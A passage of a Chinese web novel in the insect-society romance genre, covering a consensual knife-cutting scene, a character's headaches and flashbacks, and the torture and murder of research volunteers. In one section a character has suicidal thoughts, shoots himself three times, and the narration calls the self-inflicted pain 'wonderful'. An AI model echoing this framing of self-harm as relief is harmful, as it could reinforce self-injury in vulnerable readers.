“求你了,给我吧……”低沉的请求,伴随着一阵耳鸣袭来。这个毛病已经有阵时间了。但平日里没多大影响,奥古斯特也就一直没管。 于是,便错过了那一句来自雄主的命令:“抬头!” 雌虫依旧低着头,没有反应。 语言控制失败了。 西奥有点丧气。大概是自己学艺不精,大概是科特鼠跟雌虫终究差别太大,总之,他失败了。 原本最大的惊喜也没有了。 通常情况下,西奥都会拒绝,但是今晚,他已经搞砸了虫崽的生日,雌君的语言控制,于是,便想着或许至少,他可以满足奥古斯特的请求。 做一个合格的雄主。 西奥第一次打开左侧那个柜子,取出了一把刀。 闪烁寒光的锐利刀锋让他有些犹豫,但毕竟有过相关的医学训练。而且,他握住鞭子的时候一向很稳。 另外,奥古斯特的恢复力一直很强。所以,没什么好担心的。 但等西奥真的将刀锋抵在奥古斯特胸前,还是感到一阵不适。 正如预想中的,他的手很稳当。刀刃切开皮肤,比鞭痕更加艳.红的鲜血顺着伤口涌出,变成一道蜿蜒的细线,顺着胸口的起伏,缓慢向下。 奥古斯特闭着眼睛,喉结滚动,情真意切地享受着雄主赠予他的疼痛。 但还不够。还需要,更多、更深、更猛烈…… 如果不是西奥失去了记忆,他们今天原本会去看看弗雷德的。那个小小的冰冷的墓碑,里面装着他的虫崽。 但今天,他们什么都没有做。 只有一个注定会很糟糕的生日庆祝。 在被虫崽质问的时候,奥古斯特也想过,他是有多么自私,才允许了这一切发生。 假装弗雷德是唯一的虫崽,假装无事发生。 所以,这就是他的惩罚。 但刀刃很快停止了。停在第五肋骨下方,心脏所在的位置。 然后刀锋调转,用力向里捅了一寸。 “呃!”这一下猝不及防,疼痛从胸部下方炸开。被锁住的双手瞬间拽紧锁链,肌肉绷紧。 这个位置,过于靠近心脏,似乎有些危险。 但这是西奥,他的雄主。而且西奥的手一向很稳,没有理由不信任他。 于是这种危险,反而让奥古斯特愈发兴奋。 刺入胸腔的刀刃,缓慢地旋转了一个角度。 然后猛然抽出! “我天!你没事吧我刚刚好像……呃!”伴随着一声慌乱的痛呼,西奥突然捂着脑袋跌坐在地。 一同跌落的还有那把染满鲜血的短刀。当啷! “奥古……” 奥古斯特猛地抬头,意识到情况不对后当机立断,只听刷刷两声,精神力丝线将手腕上的锁链瞬间斩断。然后他迅速解开膝盖的束缚,一只手压在胸.部的伤口上,蹲下来查看西奥的情况。 雄虫意识清醒,只是看起来很难受,“头疼……” 然后还不忘伸手去摸奥古斯特的伤口,“你疼吗?” 奥古斯特迅速给自己止血,等手掌移开的时候,表面的皮肤已经平整如初,“我没事。” 但他手上还有太多的血迹,简单冲洗后再次问西奥,“还能走吗?” 回应他的是几声模糊不清的呻.吟。 奥古斯特的心一下沉到了谷底。刚才还好好的,为什么会突然这样?! 再也顾不得其他,抱起西奥便冲出了治疗室。 深夜的霍尔德宫,顿时乱作一团。 二十分钟后,吉尔抵达。一通手忙脚乱的检查之后,结果依旧是一切正常。 “最近有没有发生什么事情?情绪波动?压力太大?” 一旁的弗雷德犹豫着开口,“今天、是我……” “我最近在尝试恢复精神力。”已经恢复不少的西奥打断了虫崽的话,“但好像……没什么效果。” “有可能是这个原因。你都尝试了什么方法?” “呃……对着实验室的科特鼠下口头命令?”西奥说出来以后,才意识到这听起来有多不靠谱。 吉尔却没趁机笑话他,只是认真点头,“听起来是个很新的尝试。” “但如果会头疼的话,那还是不要操之过急比较好。” “多休息,保持情绪稳定,不要随便尝试精神力。” 西奥做了绝对遵循医嘱的保证,吃下据说见效很快的止疼药,送走絮絮叨叨的吉尔。等霍尔德宫殿重新安静下来,已经接近午夜了。 弗雷德小心地坐在西奥床边,满脸自责,“对不起,我今天……搞坏了你辛辛苦苦准备的惊喜。” 西奥摇头,“你早就说了什么都不要,是我私自瞒着你非要庆祝。是我的错。” “不,您没有错,是…” “低头,让爹地亲亲。”西奥打断虫崽,拿出雄父的威严命令道。 于是在外雷厉风行的弗雷德中将,此刻也只有乖乖听话低头的份,让躺在床.上的西奥亲了亲自己的侧脸。 “乖。今天的事情……我们都有责任。但不管怎么样,我们都是一家虫,都爱着彼此。就这样过去,好不好?” 弗雷德隔着被子趴在西奥怀里,乖乖点头,“其实,你送的礼物……我都喜欢的。” “今天的情绪不好,是因为其他的事情,跟爹地无关的。” “我知道,我知道……”西奥欣慰地摸着崽头,“我今天头疼,也跟先前的事情无关,纯粹是意外。” “头还疼吗?”崽崽担心地问。 “已经好多了。”西奥又享受了一会儿父子温情时刻,面前已经浮现出肉嘟嘟的崽撅着嘴说:“爹地不疼,小弗给爹地呼呼~”的生动画面了。 然后问:“你是不是也该回去了?” 弗雷德拒绝,“我今晚在这里陪你。” 西奥看一眼旁边一直在沉默看着他俩互动的雌君,“咳……你在的话,会妨碍我们做成年虫的事情。” 弗雷德抬起头,一脸茫然地看着他,仿佛在问,认真的吗?这种时候? 头痛欲裂的西奥当然不是真的想做点什么。这只是一个打发虫崽离开的借口。 他还记得,在治疗室内,他似乎将刀刃插进了…… 西奥的目光落在奥古斯特下腹。雌君穿了一件浅蓝色的衬衫,因为过于匆忙甚至把扣子都系错了。但确实没有任何血液从胸口渗出来,奥古斯特也一直表现得很正常。 愈合了吗?还是自己记错了? 西奥急于检查,又不想让虫崽担心,便想了一个蹩脚的借口打发弗雷德。 “他开玩笑的。”奥古斯特说。 “但这里有我在,你可以去休息。”奥古斯特的双手轻轻握住崽的肩膀,安慰道。 雌君陪着崽回他的卧室去了。房门关上的瞬间,西奥立刻气急败坏地呼叫系统,“怎么回事?!” “系统!出来!” 但系统最擅长的项目,依旧是装死。 与此同时,房门外的走廊里,也在进行着另一场交谈。 “雄父之前也发作过?” “手术后,有过一次。” “是……后遗症?你确定那场手术被叫停了?” “叫停了,但是叫停的时候,已经在进行中。” 弗雷德长叹一口气,沉默了一会儿,“确定没有感染吗?我记得头疼也是可疑症状之一。” “如果他感染了,那我现在已经死了。”以身试法过得奥古斯特认为这点倒没什么好怀疑的。 “也是。”弗雷德表情难得严肃凝重,没有像以往那样开几句不太合时宜的俏皮话。他又沉默了一会儿,然后说,“对不起,我不知道……” “如果雄父的状况这么不稳定的话,那您的选择可能是对的。没必要现在就把哥哥的事情告诉他,或许会有危险。” “对不起。”他再次道歉,然后问:“我是不是一个很糟糕的虫崽?” 但是面对虫崽难得的理解和支持,奥古斯特却并没有感到一丝一毫的开心。他的肋下——靠近心脏的位置仍然在隐隐作痛,因为内部的伤口还没来得及完全愈合。因为只有他自己清楚,隐瞒真相,还有许许多多其他的事情,到底有几分是为了西奥考虑,有几分是自己的私心。 “没有,你是全宇宙最好的崽。” “雌父,下次说好话的时候能不能给点表情,你这样太……板了。” 奥古斯特依旧面无表情。 “今晚你一个虫陪着他,没问题吗?” “没问题。”霍尔德宫殿的安全,奥古斯塔还是有信心的。 “那我先回去了。如果有任何问题,我是说任何——”弗雷德强调,“您都可以跟我商量的。” “……好。”奥古斯特应道。 卧室房门被打开的时候,西奥还在试图揪出系统:“积分也都挣了,现在又在装死?!” “你在跟谁说话?” 西奥赶紧闭嘴,希望奥古斯特没有听清,“咳,没谁。” “头还疼吗?” 其实还疼,但已经好了不少。最重要的是,原本已经糟透了的夜晚,因为这场突如其来的病痛,变得和缓了不少。尽管还是不知道崽心情不好的具体原因,但他已经很满足了。 “小弗回去了?我是不是吓到他了?” “他是中将,没有你想的那么脆弱。” 西奥的手指摸上奥古斯特胸口,替他把系错的扣子重新系对,“那也是你崽,你就不能温柔一点吗?” 顺便看了一眼自己记忆中的伤口位置。果然,什么都没有。 指尖轻轻划过,带来些许冰凉微痒。 “你在做什么?”奥古斯特攥住了西奥的手。 “没什么,我还以为……”西奥收回手,然后打了个呵欠。这次的止痛药见效快,但嗜睡的副作用也立竿见影。 “我还以为我不小心伤到你了……那时候,好像有个声音……” “你没有。就算有,也没事。” “抱歉,今天没能给你信息素……” “没关系。” 然后,突然之间,仿佛电影抽帧一样,迷迷糊糊的西奥看到了另一个奥古斯特,面带痛苦、一条腿上多了个可怖血洞的奥古斯特,与自己面前的雌君微妙地重合。 西奥顿时吓得瞪大了眼睛。他在梦里也看过类似的场景,但是没有这次这么清晰。清晰到几乎像是…… 记忆? 西奥指着奥古斯特大.腿上那个位置,刚刚那瞬间的场景里,奥古斯特受伤的位置,“你这里……受过伤吗?枪伤?” 奥古斯特沉默片刻,“为什么这么问?” “好像,看到了什么。是以前的记忆闪回吗?” “嗯,大概是。” “别受伤……”安下心后,西奥的上下眼皮又开始打架。 “好,不受伤。”奥古斯特的吻珍重地落在西奥额上,“睡吧,我会陪着你。” “晚安……” “晚安。” 西奥立刻沉入了安稳的梦乡。 直到被一声熟悉的尖叫吵醒:“救命——!!!” 作者有话说: 感谢每个还在看的宝!你们就是我更新的动力呀! 第38章 第38章慌乱[VIP] “奥古斯特!” 尖叫只是来自于梦中, 但并非空穴来风。 西奥是被手环的震动声吵醒的。点开发现那是一条来自于汉斯的求救信息。里面正如他所梦到的那声尖叫一样,只有两个非常明显的大字,救命!!!以及三个感叹号。 西奥的第一反应就是找奥古斯特帮忙, 但等他一扭头才发现,身旁的雌虫已经不见了。 被子都凉了, 也不知道是何时离开的。 太阳穴一跳一跳, 头还在隐隐作痛。 明明睡之前说会陪着自己的, 现在这是去哪里了? 西奥再次看向那条信息明确的求救信息。按照汉斯的性格, 他不认为这会是恶作剧。 他也不敢直接拨回去。谁知道那边是什么状况啊, 万一拨回去, 暴露了汉斯的位置, 岂不是害了他。 想了想,还是直接给奥古斯特打了电话过去。 一声、两声、三声。直到自动挂断,始终无虫接听。 怎么回事? 奥古斯特很少无视自己的通话, 而且这个时间,也不在卫生间, 能去哪呢? 很好,现在他担心的虫从一个, 变成了两个。 西奥赶紧又拨打了第二遍, 第三遍。 在第三遍也被切断后, 西奥果断下床。 脚踩到地面的瞬间,依旧觉得地是软的,天是转的。西奥扶着额头, 好一会儿才缓过来。 现在是凌晨四点十二,汉斯向他求救, 奥古斯特不知所踪,西奥的心脏开始逐渐加速, 变得快速而慌张。 他一步一挪,走出卧室。走廊里是一片昏暗和静谧。 西奥第一个查看的地方,是奥古斯特曾经住过的次卧。他有时候会来这里换衣服什么的。 次卧的房门被推开,里面漆黑一片。他又打开灯,再三确认奥古斯特没在里面。 那雌君到底去哪了呢? “奥古斯特!”他冲着空荡荡的走廊大喊一声,但只剩回声在里面回荡。 西奥再次拨通。 等手环对面再次传来:您所拨打的用户暂时无法接通后,西奥果断拨通了虫崽的手环。 这次倒是很快就通了。对面的声音还透着一股睡意:“嗯……怎么了?” “你知道奥古斯特去哪了吗?” 对面的虫崽听起来瞬间清醒了:“他不在你旁边吗?!” “你在哪,我马上过来!” 楼上很快响起脚步声,没过几秒,弗雷德就来到了西奥身边。 “雌父不在吗?”他四处东张西望,但也没看到奥古斯特的身影。 然后又赶紧回来查看西奥的状况,“你感觉怎么样?我先扶你回卧室吧?” 两个虫一边往回走,弗雷德一边宽慰他,“放心,雌父不会失踪的。多半是出去了,或者在宫殿其他地方。我待会问问皇宫里的守卫。” “不光是奥古斯特的事情。”西奥也觉得崽说的有道理,雌君可能是出去溜达了,他把手环给弗雷德看,“我半夜被吵醒,是因为收到了这条信息。” “我觉得汉斯可能遇到麻烦了。” 弗雷德点点头,“这个汉斯,他的具体信息你知道多少?” “他的全名是汉斯·兰斯顿,是个亚雌。身材比较小,金色长发。他在皇家精神力研究院工作,呃……他的办公室在我旁边。家里好像有两个哥哥。” 弗雷德点开自己的手环,迅速在系统里进行着搜索,一边问:“你知道他的住址吗?” 西奥摇头,“但是研究院的信息登记里面应该有。我找一下……” 登录研究院系统界面的时候,手环卡了一下,西奥这才想起要道歉,“对不起,大半夜把你吵醒了。” “这有什么。我小时候会凌晨两点跳到你和雌父的床上。”弗雷德不以为意,“你们不也照样哄我吗?” “找到了!我在系统里面找到一个汉斯·兰斯顿,登记地址是奥克兰城区的贝卡利街道33号。你看一下,跟研究院登记的地址是不是重同一个?” “你不觉得我的担心可能是多余的吗?毕竟只有一条信息。” 弗雷德奇怪地看他一眼,“为什么会是多余的?” “你很担心他,不是吗?如果没事最好,但如果真的出了事,你就能救他的命。”弗雷德将地址对比,确认一致后又说,“他这个时间多半在家,我找虫确认一下。” “别着急,贝卡利街道那边,我刚好有认识的虫。很快的。” 西奥发现,这种被无条件信任的感觉,真心不赖。心脏也开始安稳下来。 “等我一会儿,我去找一下雌父。马上回来。” 西奥被安置回了卧室里,虽然只过了几分钟,但在虫崽条理清晰的安排下,他已经彻底安下了心,耐心等待着。 头还是很疼,但睡觉是完全不可能了。 离开卧室的时候,弗雷德已经开始打电话摇虫,“喂,您现在在哪?离贝卡利街道近吗?” 十五分钟后,弗雷德回到了西奥身边。但他没有把奥古斯特找回来,反而把诺亚带过来了。 西奥顿时心里一紧,“奥古斯特呢?”霍尔德宫殿总共就这么大,十几分钟,足够他们搜个遍了。为什么奥古斯特还没回来? “雌父他……”弗雷德面露难色,支支吾吾。 “非常抱歉,陛下有其他重要的事情,没办法过来。”诺亚解释道,“任何需要,我都可以代劳。” “嗯,重要的事情,反正比我重要是吗?”虽然可以理解,但说不失望也是假的。 “雌父就是这样。我两个月还需要喂奶的时候,他就去战场了,你敢信?”弗雷德站在了他这边。 “陛下确实……有时候分不太清。”就连诺亚也难得表示了赞同。 怎么说呢,得到认同和支持以后,那点失望很快也就不足为道了。 “反正雌父就算在也帮不上什么忙。我已经让萨迦过去查看了,算算时间……”弗雷德看了看手环上的时间,“应该快到了。” “萨迦?!”西奥惊呆了,“你让第一军团长大半夜去帮忙?!”他以为虫崽摇的虫是一些朋友,或者下属之类的。怎么直接让萨迦去了? “那咋了?”弗雷德一脸理所当然,“他离得近,而且愿意帮忙。” “好吧。”木已成舟,西奥也不想多作评价,“不过有个细节,确实有点奇怪。” “汉斯并不是一个孤僻的虫。他有朋友有亲虫,而且也有住的更近的同事。皇宫离他家距离可不算近……”西奥问,“为什么遇到危险,偏偏找我求助呢?” “或许是群发?”弗雷德推测道。 “我刚才问过研究院的同事了。有几个回复了我,说并没有收到汉斯的消息。”很显然,刚才一个虫待在卧室里的时候,西奥也没完全闲着,“我还是觉得,不太对劲。” “谢谢您,大侦探西奥·兰斯顿。”诺亚插嘴道,“但我们现在能做的就是等萨迦上将的消息。” “不管是汉斯发生了什么要求救,还是他为什么专门向您求救,应该很快就能弄清楚了。” 话音未落,弗雷德手环响了。他立刻接通视频通讯,对面正是萨迦。 视频晃动得很厉害,代表萨迦正在移动当中,“我按照你们给的地址,找到了这处公寓。敲门之后一直没有回应,我就破门而入了。” “我想我找到了汉斯。”镜头晃动了一下,给到了萨迦的怀中,那里是一个娇小的亚雌,正是西奥熟悉的汉斯。但是亚雌双眼紧闭,看起来似乎不省人事,身上好像还有些血迹。 “他没事吧?!”西奥赶紧问。 “还活着,但是目前没有意识,可能是失血过多。我现在正带他赶往最近的医院。”萨迦重新调整了镜头的角度,“我闯进公寓里的时候,他被绑起来了,看起来像是遭受了一些虐待。还有就是……” “他的一只手被切走了。”萨迦表情沉重,“西奥,如果我没记错,精神力研究院的大部分门锁,应该都可以用指纹打开吧?” 西奥表情逐渐凝固,“你是说……?” “总之我这边的情况就这样。有其他进展会再跟你们联系。马上到医院,先挂了。” 这边结束了跟萨迦的通话,西奥立刻给研究院的门卫克莱恩打去电话,对方没接。西奥又尝试研究院内网的有线电话,仍然无虫接听。 情况有点不对劲。 难道研究院也已经被入侵了?!但对方的目的会是什么?钱吗?! 诺亚跟弗雷德对视一眼,当机立断道:“我马上去带虫去研究院。” 然后他又看向西奥,“这个汉斯,他有哪些实验室的通行权限?” “呃……汉斯是我的助手,他应该有绝大部分实验室的权限。但是他最常去的应该还是地下一层,那个最大的实验室。里面放着雄虫精神力能源化提取的仪器。这是他主要的研究项目。” 听到西奥提起雄虫的精神力能源化项目,弗雷德和诺亚脸色都变了。 “怎么了?”西奥问。 “雌父在这次的会议上,提出了一项禁止非法精神力能源化的提案。” “这个我知道。” “为了能够通过提案,陛下需要争取一些额外的支持。” “这个我也知道。我还帮忙安排了公爵的参观。不是已经争取到他的支持了吗?” “前提是,这个项目是可行、并且立刻能投入使用的。但如果这个项目被破坏了……” “公爵可能会改变主意。” 西奥听明白了,“所以,这一切,伤害汉斯,拿到他的指纹,入侵研究院,都是为了阻止那项法案通过,是吗?” 房间一时静默。 “总之,我现在立刻出发,前往研究院。那个实验室在地下一层,具体房间号是?”诺亚打开手环,似乎在召集虫手。 “房间号是008。不过应该很显眼,坐前门的电梯下去,右手边第一个大门就是。”然后西奥看向弗雷德,“我也想一起去。” “不行!”房间内的两个军雌立刻表示反对。 “你的头疼还没好。”弗雷德说,“而且,就像之前说的,如果对方早有预谋,为什么特地跟你求救?” “因为在很多不了解内情的虫眼里,你才是那个项目的主持者。” “这意味着你也可能也是目标,西奥阁下。” “我留在这里。”弗雷德对诺亚说,“你去研究院,随时联系。” “可以吗?”他们没有立刻行动,而是都看向了西奥,像是在请求许可。 西奥点了点头。 等诺亚离开之后,西奥坐在床边,感受着刚才那阵肾上腺素缓慢褪去后的疲惫和头疼,然后突然想起来什么,“小弗。” “你刚才说,在很多虫眼里,我才是项目的主持者?” 弗雷德点头,“这个项目上报的时候,您才是第一负责虫。” “但是对方没有来找我,而是去找了汉斯。” “皇宫的安保还是很严密的。” 但西奥摇头,有些绝望地闭了闭眼睛,“是我告诉他们的。” “在那场宴会上,我提到了汉斯的名字,说他研究了这个。”西奥回想当时的场景,“我记得当时有公爵在,还有另一个第三军团的……” “罗森塔尔。” “他不希望法案通过,对吧?” 弗雷德沉默了,而沉默就代表默认。 “是我,是我害了汉斯,是吗?” “不,不是这样的……”弗雷德赶紧安慰西奥,“我们都没想到,对方会用这种手段。” “这不是你的错。” 但西奥也没有自责太久,“奥古斯特呢?” “现在出了这样的事,是不是该通知他,让他赶紧回来?” 作者有话说: 猜猜奥古这时候在干嘛……应该很容易猜到吧? 第39章 第39章争吵[VIP] 清晨的第一缕阳光刺破了黑暗, 这个慌乱惊险的夜晚,终于宣告结束。 而奥古斯特,也终于姗姗来迟。 “情况怎么样了?” “汉斯目前在奥克兰第一医院, 情况稳定,但依旧没有清醒。”这是萨迦。 “皇家精神力研究院昨夜被强行闯入, 有几个伤员, 都不算严重。顶楼汉斯办公室的有被翻找的痕迹, 地下实验室的雄虫精神力提取仪器被损坏。从现场痕迹来看, 对方应该很熟悉研究院的布局, 不排除有内应。”这是诺亚。 “我现在跟雄父待在一起。一切正常。”这是弗雷德。 在发现汉斯遇袭后, 他们迅速组成了一个线上群组, 实时沟通最新进展。 “参与实验的几个雄虫志愿者,都找到了吗?”奥古斯特问道。 “已经在排查了。全部下落不明。”萨迦回复道,“目前找到的两位, 已经确认死亡。” “对方应该是从汉斯的办公室里找到的相关信息。”诺亚补充道。 “舆论和警方那边……” “已经在压了。但是这么严重的案子,死的还是有身份的雄虫。恐怕根本压不住。”这是弗雷德。 “我要去一趟精神力研究院。”这是西奥, “现在。” 这话一出,所有虫的目光都投向了他。 诺亚和萨迦是线上视频。奥古斯特和弗雷德则正跟西奥在同一个房间内, 霍尔德宫殿一楼的会议室内。 “你不是还头疼吗?不需要休息一下吗?”奥古斯特问。 西奥摇头, “我昨晚头疼, 但现在已经好多了。”这不完全是实话。 “作为精神力研究院的院长,雄虫精神力能源化项目的第一负责虫,除了汉斯之外对这个项目和仪器最为了解的虫, 以及汉斯和其他志愿者的朋友,于公于私, 我都应该尽快去一趟现场。”西奥从来没有感到如此清醒,又如此愤怒, “出了这种事,研究院需要我去坐镇主持,损坏的仪器也需要我去定损维修。” “我要去,现在。” “但这些都不急于一时。”奥古斯特劝道,“对方已经杀了至少两个雄虫志愿者,可能还在行动当中。” “你现在贸然过去,可能会有危险……” “我不是在请求允许!”西奥粗暴地打断了雌君的劝告,“或者怎么样?你要禁止我使用护卫队的飞行器,来拦着我吗?” “还是要把我关在宫殿里面,不让我出门?!” 诺亚是第一个退出线上通话的。萨迦看了一眼这俩虫,啧了一声,说了一声随时联系,也暂时下线。 封闭的房间内,再次只剩下一家三口。 但不同于几个小时前,因为西奥的突发疾病而温馨和谐的场景,此刻,气氛变得有些剑拔弩张。 “雄主,冷静一下。我知道这一切有些突然……”奥古斯特似乎丝毫没有被西奥的情绪影响到。 “我很冷静。”西奥说,“如果你不让我用皇宫的飞行器,我可以线上叫一架。” “这不是交通工具的问题。” “这当然不是交通工具的问题!这从来就不是交通工具的问题!”西奥深吸一口气,强迫自己冷静下来,“汉斯、研究院,还有那几个志愿者……他们都是无辜的。” “他们是因为那项法案,才会受伤,才会死的,你明白吗?!” “他们是被我们连累的!” “法案并没有错,值得被推行。”奥古斯特依旧冷静,“应该被惩罚处置的,是犯下这些罪行的虫。” 西奥感到一阵绝望涌上心头,“所以,你难道就没有一点愧疚和后悔吗?” “这不是一个掌权者该有的情绪。尤其是此刻。” “好,好……”西奥点头,“那我再问你一个简单的问题……” “昨晚你在哪?” 弗雷德在一旁围观了这场争吵,正准备说点什么,却在听到这个问题之后,选择了沉默。 因为他知道这段时间奥古斯特究竟在哪。他同样认为……雌父做得不对。 弗雷德主动离开了会议室。房间内只剩下西奥和奥古斯特。 “不能回答我的问题,是吗?”西奥继续逼问,“还是不想?” 情绪从来不是一蹴而就的。 因为在过去的几个小时里,西奥一遍遍询问奥古斯特为什么还不来。从得知研究院被闯入,到得知仪器被破坏,再到得知参与实验的志愿者信息泄露,然后是第一具尸体,第二具尸体…… 信息越来越绝望,他们似乎总是慢对方一步。 但奥古斯特始终没有出现。他知道,他只是不来。 因为“某些更重要的事情”。 是什么呢?是什么会比正在进行中的谋杀更加重要呢? 还是因为他推行的法案才导致的这一连串谋杀! 西奥知道,哪怕奥古斯特在场,或许也没办法改变任何既定的事实。所有虫都已经尽力了,但是,但是…… 他觉得奥古斯特,至少,应该在场,应该经历,应该承担。 于是,等雌君真的出现,一直压抑的愤怒便迅速爆发了。尤其是在看到,奥古斯特依旧异常冷静之后。 奥古斯特沉默了片刻,然后问:“你想得到什么样的答案呢?” 西奥简直不敢相信,“我想得到的答案?我只是想得到真相!” “一个简单的问题,给我一个简单的真相,不行吗?” 真相。的确很简单,但却很残忍。 奥古斯特的确听到了西奥的电话。他的手环响起的时候,离他只有三米。但他那时却因为大腿上的枪伤、和精神力的接近耗竭,而没办法接听。 他狼狈地趴在地板上,颤抖着伸出手,指尖末端又抽出一根精神力丝线,努力向前延伸—— 就差那么一点点,就能够到手环了! 但奥古斯特停住了。 一方面,他需要保留精神力用于治愈伤口。 但更重要的是,如果接通,他要怎么跟西奥解释呢? 抱歉,在你生病的时候我擅自离开了,因为我控制不住想要对自己开枪? 西奥会离开他的。奥古斯特很清楚这一点。 在语言控制成功之前,西奥就不止一次提到过关于离开。 他不能允许西奥离开自己。这是他无法承受的后果。 于是他停止,等待,直到手环的声音消失。 然后再次响起。 奥古斯特并不想陷入这样煎熬的等待。他尝试过阻止自己的。 在弗雷德离开之后,西奥很快就睡着了。在药物的作用下,他的呼吸平稳,睡得很沉。 奥古斯特躺在自己的雄主身边,希望平静也能最终光顾他的躯体,带来安稳睡眠。 但他失败了。一旦安静下来,他就没办法停止思考那天,原本是虫崽生日的那天,自己亲自处置的托亚扪事件。那些爆炸,那通电话,那次决定,那次狙击。 过往的细节无比清晰,仿佛电影一样在大脑中反复播放。最初狙击手本来是没有视野和机会的,但后来弗雷德偏偏出现在了刚好能够看清楚的窗边,并且远离了危险□□。这真的是一个幸运的巧合,还是说,当时弗雷德或许还有那么一点意识,他掌控了自己的身体? 奥古斯特不知道哪一个真相会更加残忍。 所有虫都告诉他,他做了正确的选择。包括西奥。 尤其是西奥。 他说他预知了无数个未来,目前的选择是其中最好的一个。 虽然是个艰难的决定,但不管来多少次,相信他都会做出同样的选择。 但这是真的吗? 不是正确、艰难与否,而是如果再来一次,他真的还会做出同样的选择吗? 回到那个现场,托亚扪能源中心,那个选择,一边是弗雷德,自己的虫崽,另一边是更大的损失,更多的伤亡。 他还会毫不犹豫地下达狙杀的命令,决绝的杀死弗雷德吗? 奥古斯特动摇了。 另一条道路虽然错误、危险,代价巨大,但无比诱人。 当他意识到与弗雷德一同死亡的想法开始变得充满吸引力的时候,他就知道,糟了。 正如此刻,他躺在熟睡的伴侣身旁,脑子里却始终在想着治疗室里的那把枪。 只要轻轻扣动,就能获得宁静。 渴求一旦浮现,就无法停止。 密密麻麻,如同虫蚁般爬满他的躯体,啃食他的理智。 奥古斯特在床上躺了十分钟。 这几乎是他生命中最为漫长的十分钟。 然后他屈服了。他静悄悄离开房间,离开西奥身边,前往治疗室。 他告诉自己,仅此一次,仅在这一天。 然后,他对着自己开了三枪。 因为用一种疼痛来代替另一种疼痛的滋味,实在是太美妙了。 但这种严重伤口的快速治愈是对精神力的极大耗费。他的实力几乎是迅速滑落到SS级,甚至于更低。 如果有谁安排一次针对他的刺杀,此刻的成功率应该会大大提升。 危险、错误,但……奥古斯特并不觉得后悔。 直到手环响起,代表西奥需要他,而他却无法立即前往。 好在几分钟后,诺亚就找到了他,跟他说明了情况。幸好,虽然这个想法十分阴暗,但幸好出事的并不是西奥,不是他的雄主,而是其他虫。 在等待伤口愈合的同时,奥古斯特也能通过手环向外界传递一些命令和看法。他只是不能出现,至少不能以这种状态,出现在西奥面前。 当然,这种回避并不是没有代价。比如现在。他必须面对西奥愤怒的质问,而他却不能给出令对方满意的答案。 “真相就是……”奥古斯特缓慢地回答,“我被一些事情绊住了,没办法及时回来。” “具体来说,什么事情呢?” “一些……我并不会引以为荣的私事。” “所以,你不会告诉我?” “我不告诉你,是因为……”奥古斯特顿了一下,“因为我不想说谎。” “不想说谎,就干脆逃避吗?” “我迟早会告诉你的,只是需要一点时间。” “等我……?” “等你的精神力恢复。” 但西奥只是摇头,然后猛地从椅子上站起来,“奥古斯特!你……”但这一下有点太快,而后半夜根本没睡的西奥还没完全从昨晚的头痛中恢复,于是眼前顿时一黑! 手臂被托住扶了一把,仍旧头晕目眩的西奥只得把身.体的大部分重量都靠在雌君怀中。然后,在喘息恢复的时候,手掌摸到了一处冰凉尖锐的突起。 他抬起手掌,朝自己摸到的地方看去,然后发现,那是一枚胸针。 是自己送给奥古斯特的胸针。 此刻,正被别在了外套领口上。精石在灯光下闪闪发亮。 说实话,昨晚在弗雷德离场之后,西奥就彻底没了心情。这枚胸针,也只是随意塞到了奥古斯特手中。他现在都不记得雌君收到礼物时的表情,有没有说了什么。更别提怎么处置它了。 但现在看来,他的礼物显然被珍视了。 西奥的手指点在那块精石上,“你……戴上了?” “你送的,当然要戴上。”奥古斯特问,“怎么了,位置不对吗?” “没有,不是……”西奥摇摇头,语气不知不觉软了下来,“我还是要去研究院。” “你的身体还没好。” “我要去,因为这是我的责任。”西奥强调。 “好。”奥古斯特没再阻拦,“我陪你一起去。” “你说的对,他们是因为法案才被牵连的。我也有责任。我只是……”奥古斯特解释道,“我只是在尽力避免被情绪所影响。” “对不起,我很抱歉没能及时出现。这是我的问题。” “但我可以向你保证,所有涉及这件事的虫,一定会为他们的所作所为付出代价。” 或许奥古斯特是对的,作为决策者,他的确更需要保持冷静。 “你欠我很多解释,奥古斯特。”西奥说,“但至少在这件事情上,我们的目标很一致。” “先一起把眼前的事情解决吧!还有就是……” “我爱你。”西奥说。 作者有话说: 圣诞快乐!!! 第40章 第40章决心[VIP] 接下来的时间, 幸运也没有眷顾剩下的被绑架的志愿者们。 尸体一具接着一具被发现。而且有明显的迹象表明,他们生前曾被虐待折磨过。 截至汉斯遇袭的第二天下午六点钟,所有参与项目实验的志愿者雄虫, 除了西奥外,全部死亡。 像这种雄虫接连死亡的案件, 还大多是贵族, 很快在整个帝国掀起了舆论的轩然大波。大家或提心吊胆、或津津乐道地讨论着, 猜测着。关于谋杀、关于绑架, 关于法案、关于研究院、关于马上要召开的述职会议。 但在舆论漩涡的中心, 皇家精神力研究院, 一切却显得异常平静, 且井井有条。 这大部分要归功于亲自前来坐镇的奥古斯特,以及他带来的皇家护卫队。 毕竟,这次接连遇害的雄虫志愿者, 一大半都在研究院任职。即便是没有参加实验的虫,也难免会因为朋友和同事的死亡而感到恐慌害怕。 凶手残忍地杀死了实验相关的虫, 甚至有能力闯入研究院破坏仪器。那接下来,会不会轮到他们呢?研究院还能待吗?在这里工作的虫, 尤其是武力值偏低的雄虫, 安全还能得到保障吗? 而奥古斯特的亲自坐镇, 便是给这些虫吃下了一颗定心丸。 这代表研究院处于虫皇的保护之中。还有什么比帝国最强战力的亲自保护更加令虫安心呢? 另一部分,则要归功于亲自前来的西奥。 如果说奥古斯特主要提供了武力方面的支持,那么西奥所能够提供的, 更多是情绪方面的。 毕竟,这是他亲手建立起来的研究院。在这个虫心惶惶的时刻, 请假的、辞职的、申请调任的,都不在少数。研究院的心会不会散, 很大程度上,都取决于有没有一个能够果断迅速决策、给予足够支持的院长。 也幸好,在这种时刻,几个副院长都没有离他而去,吉尔更是亲自来看望了他。西奥在处理具体事务方面,并不是一个虫。 西奥下令批准所有请辞的申请,暂停决大多数不必要的运转项目,剩下的如果有职位缺口直接从皇家护卫队找虫替补。然后以最快的速度勘查了被损坏的精神力能源化提取仪器,拍照取证,研究修复和重建的方法。 情况仍然不容乐观。但至少,研究院并没有像凶手预想的那样,如同散沙,乱作一团。 等处理完手上乱七八糟一堆的紧急事务,时间已经到了晚上。 西奥终于能松一口气,然后看向旁边的奥古斯特。 虫皇在研究院没有自己的办公室。为了方便,临时的办公地点就设在了他的办公室内。奥古斯特占用了一张稍小的办公桌,他们之间只隔了两三米的距离。 奥古斯特正紧紧盯着面前的屏幕,神色凝重。 “你那边怎么样?”西奥主动询问道。 